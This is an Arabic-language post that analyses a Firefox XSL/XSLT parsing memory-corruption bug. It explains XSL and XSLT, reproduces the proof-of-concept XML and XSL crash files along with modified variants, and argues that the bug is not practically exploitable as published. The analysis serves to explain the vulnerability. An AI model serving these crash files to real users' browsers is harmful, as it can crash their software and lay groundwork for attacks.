السلام عليكم. بسم الله الرحمن الرحيم. اردت ان اعرج و اشرح شيئ مهم وهو ثغرة الفايرفوكس التي ظهرت ي الآونة الأخيرة. ولربما كثر التصعيد عليهاا بأنها ثغرة خطيرة قد تهدد الأمن الشخصي للمستخدمين،طبعا وبغض النظر عن نوعية الثغرة فإنها تعتبر خطيرة إذا توفرت شروط أخرى. لكن انا اقول حسب تحليلي البسيط أن عملية إستغلال الثغرة الموجودة في هذا الرابط مستحيل بشكله الحالي وسأوضح بعد قليل،فلو ان عملية الإستثمار الثغرة كانت سهلة لإستثمرها من وضعها في ميل وورم فهو معروف الثغرة الأولى Mozilla Firefox XSL Parsing Remote Memory Corruption PoC 0day تعريف: الثغرة هي عبارة عن خطأ في معالجة ملفاتXSL بالتحديد أثناء تحويل مستند XML بواسطة XSLT ماهو XSL: بكل بساطة هي لغة تساعدك على عرض ملفات XML بالشكل الذي ترغب فيه أنت. لنفرض أنه لديك ملف XML وتريد معالجته عن طريق تطبيق(web app) معين، لكن ألا ترى أن التعامل معه سيكون صعب حتى بالتعامل مع parser لذلك قام المطورون بتطوري لغة برمجة تساعدك في عرض ابيانات الموجودة في XML بشكل الذي ترغب. ماهو XSLT : بصفة عامة هي لغة تساعدك على تحويل مستند XML إلى مستند آخر سواءا كان XML او HTML او PDF وهي تساعد كثيرا في عرض مستندات XML على الويب،و تعليمات لغة XSLT تكون مضمنة في ملفات XSL ويتم إستدعائها من داخلها. شاهد الصورة. الصورة من Wikipedia. فكما تشاهد هنا مستند XML و كود XSLT على اليمين والناتج هو مستند آخر ومن الممكن أن يكوني plain text للعرض أو حتى XML. نعود للثغرة كما قلنا أن الثغرة عبارة عن خطأ في معالجة ملفات XSL بالتحديد أثناء التعامل مع أكواد XSLT لتحويل مستند XML إلى نص قابل للعرض. نلقي نظرة على الكود. كود ملف xmlcrash.xml
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="xslt.xsl"?><root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <item1 id="AAAAAAA" /> <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/></root>
<?xml version="1.0" encoding="UTF-8"?><xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:key name="label" match="item2" use="w00t()"/> <xsl:template match="root"> <xsl:for-each select="//item1"> <xsl:call-template name="item1" /> </xsl:for-each> </xsl:template> <xsl:template name="item1"> <xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"> </xsl:for-each> </xsl:template></xsl:stylesheet>
<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>
<item1 id="AAAAAAA" /> <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/>
<xsl:for-each
</xsl:for-each>
<xsl:call-template name="item1" />
<xsl:template name="item1"> <xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"> </xsl:for-each> </xsl:template>
<xsl:key name="label" match="item2" use="w00t()"/>
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="xslt.xsl"?><root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <item1 id="datasniper" /></root>
<?xml version="1.0" encoding="UTF-8"?><xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:key name="label" match="item1" use=""/> <xsl:template match="root"> <xsl:for-each select="key('label', @item1)"> </xsl:for-each> </xsl:template></xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?><xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:key name="label" match="item1" use=""/> <xsl:template match="root"> <xsl:value-of select="key('label', @item1)"> </xsl:value-of> </xsl:template></xsl:stylesheet>